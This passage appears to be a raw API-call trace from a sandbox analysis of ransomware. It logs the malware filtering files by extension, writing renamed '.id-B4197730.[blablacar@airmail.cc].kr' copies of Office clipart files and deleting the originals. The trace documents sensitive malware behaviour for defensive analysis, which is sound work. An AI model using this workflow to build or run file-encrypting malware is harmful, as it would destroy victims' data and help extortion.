lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0180.421] lstrlenW (lpString=".xlsx") returned 5 [0180.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0180.421] lstrlenW (lpString=".ppt") returned 4 [0180.421] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.421] lstrlenW (lpString=".zip") returned 4 [0180.421] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0180.421] lstrlenW (lpString=".rar") returned 4 [0180.421] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0180.422] lstrlenW (lpString=".bz2") returned 4 [0180.422] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0180.422] lstrlenW (lpString=".7z") returned 3 [0180.422] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0180.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.422] lstrlenW (lpString=".dbf") returned 4 [0180.422] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0180.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.422] lstrlenW (lpString=".1cd") returned 4 [0180.422] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0180.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.422] lstrlenW (lpString=".jpg") returned 4 [0180.422] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0180.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.422] lstrlenW (lpString=".doc") returned 4 [0180.422] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0180.422] lstrlenW (lpString=".docx") returned 5 [0180.422] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0180.422] lstrlenW (lpString=".pdf") returned 4 [0180.422] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0180.422] lstrlenW (lpString=".xls") returned 4 [0180.422] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0180.422] lstrlenW (lpString=".xlsx") returned 5 [0180.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0180.422] lstrlenW (lpString=".ppt") returned 4 [0180.422] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0180.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.422] lstrlenW (lpString=".zip") returned 4 [0180.422] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0180.422] lstrlenW (lpString=".rar") returned 4 [0180.422] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0180.423] lstrlenW (lpString=".bz2") returned 4 [0180.423] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0180.423] lstrlenW (lpString=".7z") returned 3 [0180.423] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0180.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.423] lstrlenW (lpString=".dbf") returned 4 [0180.423] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0180.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.423] lstrlenW (lpString=".1cd") returned 4 [0180.423] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0180.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.423] lstrlenW (lpString=".jpg") returned 4 [0180.423] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0180.423] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.423] lstrlenW (lpString="BL00152_.WMF") returned 12 [0180.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0180.424] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1516) returned 1 [0180.424] CloseHandle (hObject=0x464) returned 1 [0180.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0180.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0180.424] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.424] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0180.425] GetLastError () returned 0x0 [0180.425] ReadFile (in: hFile=0x464, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5ec, lpOverlapped=0x0) returned 1 [0180.426] WriteFile (in: hFile=0x468, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5f0, lpOverlapped=0x0) returned 1 [0180.427] ReadFile (in: hFile=0x464, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.427] WriteFile (in: hFile=0x468, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0180.428] SetEndOfFile (hFile=0x468) returned 1 [0180.428] CloseHandle (hObject=0x468) returned 1 [0180.428] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.429] SetEndOfFile (hFile=0x464) returned 1 [0180.431] CloseHandle (hObject=0x464) returned 1 [0180.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0180.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.432] lstrlenW (lpString=".doc") returned 4 [0180.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.432] lstrlenW (lpString=".docx") returned 5 [0180.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.432] lstrlenW (lpString=".pdf") returned 4 [0180.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.432] lstrlenW (lpString=".xls") returned 4 [0180.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.432] lstrlenW (lpString=".xlsx") returned 5 [0180.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.432] lstrlenW (lpString=".ppt") returned 4 [0180.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.433] lstrlenW (lpString=".zip") returned 4 [0180.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.433] lstrlenW (lpString=".rar") returned 4 [0180.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString=".bz2") returned 4 [0180.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString=".7z") returned 3 [0180.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.433] lstrlenW (lpString=".dbf") returned 4 [0180.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.433] lstrlenW (lpString=".1cd") returned 4 [0180.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.433] lstrlenW (lpString=".jpg") returned 4 [0180.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.433] lstrlenW (lpString=".doc") returned 4 [0180.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString=".docx") returned 5 [0180.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.433] lstrlenW (lpString=".pdf") returned 4 [0180.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.433] lstrlenW (lpString=".xls") returned 4 [0180.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.433] lstrlenW (lpString=".xlsx") returned 5 [0180.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.433] lstrlenW (lpString=".ppt") returned 4 [0180.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.434] lstrlenW (lpString=".zip") returned 4 [0180.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.434] lstrlenW (lpString=".rar") returned 4 [0180.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString=".bz2") returned 4 [0180.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString=".7z") returned 3 [0180.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.434] lstrlenW (lpString=".dbf") returned 4 [0180.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.434] lstrlenW (lpString=".1cd") returned 4 [0180.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0180.434] lstrlenW (lpString=".jpg") returned 4 [0180.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.434] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.434] lstrlenW (lpString="BL00194_.WMF") returned 12 [0180.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0180.435] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3986) returned 1 [0180.435] CloseHandle (hObject=0x464) returned 1 [0180.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0180.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0180.435] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.435] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0180.436] GetLastError () returned 0x0 [0180.436] ReadFile (in: hFile=0x464, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xf92, lpOverlapped=0x0) returned 1 [0180.438] WriteFile (in: hFile=0x468, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xfa0, lpOverlapped=0x0) returned 1 [0180.439] ReadFile (in: hFile=0x464, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.439] WriteFile (in: hFile=0x468, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0180.439] SetEndOfFile (hFile=0x468) returned 1 [0180.439] CloseHandle (hObject=0x468) returned 1 [0180.440] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.441] SetEndOfFile (hFile=0x464) returned 1 [0180.443] CloseHandle (hObject=0x464) returned 1 [0180.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0180.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.444] lstrlenW (lpString=".doc") returned 4 [0180.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.444] lstrlenW (lpString=".docx") returned 5 [0180.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.444] lstrlenW (lpString=".pdf") returned 4 [0180.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.444] lstrlenW (lpString=".xls") returned 4 [0180.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.444] lstrlenW (lpString=".xlsx") returned 5 [0180.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.444] lstrlenW (lpString=".ppt") returned 4 [0180.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.444] lstrlenW (lpString=".zip") returned 4 [0180.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.445] lstrlenW (lpString=".rar") returned 4 [0180.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString=".bz2") returned 4 [0180.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString=".7z") returned 3 [0180.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.445] lstrlenW (lpString=".dbf") returned 4 [0180.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.445] lstrlenW (lpString=".1cd") returned 4 [0180.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.445] lstrlenW (lpString=".jpg") returned 4 [0180.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.445] lstrlenW (lpString=".doc") returned 4 [0180.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString=".docx") returned 5 [0180.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.445] lstrlenW (lpString=".pdf") returned 4 [0180.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString=".xls") returned 4 [0180.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.445] lstrlenW (lpString=".xlsx") returned 5 [0180.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.445] lstrlenW (lpString=".ppt") returned 4 [0180.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.445] lstrlenW (lpString=".zip") returned 4 [0180.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.445] lstrlenW (lpString=".rar") returned 4 [0180.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.446] lstrlenW (lpString=".bz2") returned 4 [0180.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.446] lstrlenW (lpString=".7z") returned 3 [0180.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.446] lstrlenW (lpString=".dbf") returned 4 [0180.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.446] lstrlenW (lpString=".1cd") returned 4 [0180.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0180.446] lstrlenW (lpString=".jpg") returned 4 [0180.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.446] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.446] lstrlenW (lpString="BL00195_.WMF") returned 12 [0180.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.567] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8070) returned 1 [0180.567] CloseHandle (hObject=0x454) returned 1 [0180.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0180.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.859] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.859] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0181.860] GetLastError () returned 0x0 [0181.860] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1f86, lpOverlapped=0x0) returned 1 [0181.861] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1f90, lpOverlapped=0x0) returned 1 [0181.862] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.862] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0181.862] SetEndOfFile (hFile=0x484) returned 1 [0181.863] CloseHandle (hObject=0x484) returned 1 [0181.863] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.864] SetEndOfFile (hFile=0x480) returned 1 [0181.866] CloseHandle (hObject=0x480) returned 1 [0181.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0181.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.867] lstrlenW (lpString=".doc") returned 4 [0181.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.867] lstrlenW (lpString=".docx") returned 5 [0181.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.867] lstrlenW (lpString=".pdf") returned 4 [0181.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.867] lstrlenW (lpString=".xls") returned 4 [0181.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.867] lstrlenW (lpString=".xlsx") returned 5 [0181.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.867] lstrlenW (lpString=".ppt") returned 4 [0181.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.867] lstrlenW (lpString=".zip") returned 4 [0181.867] 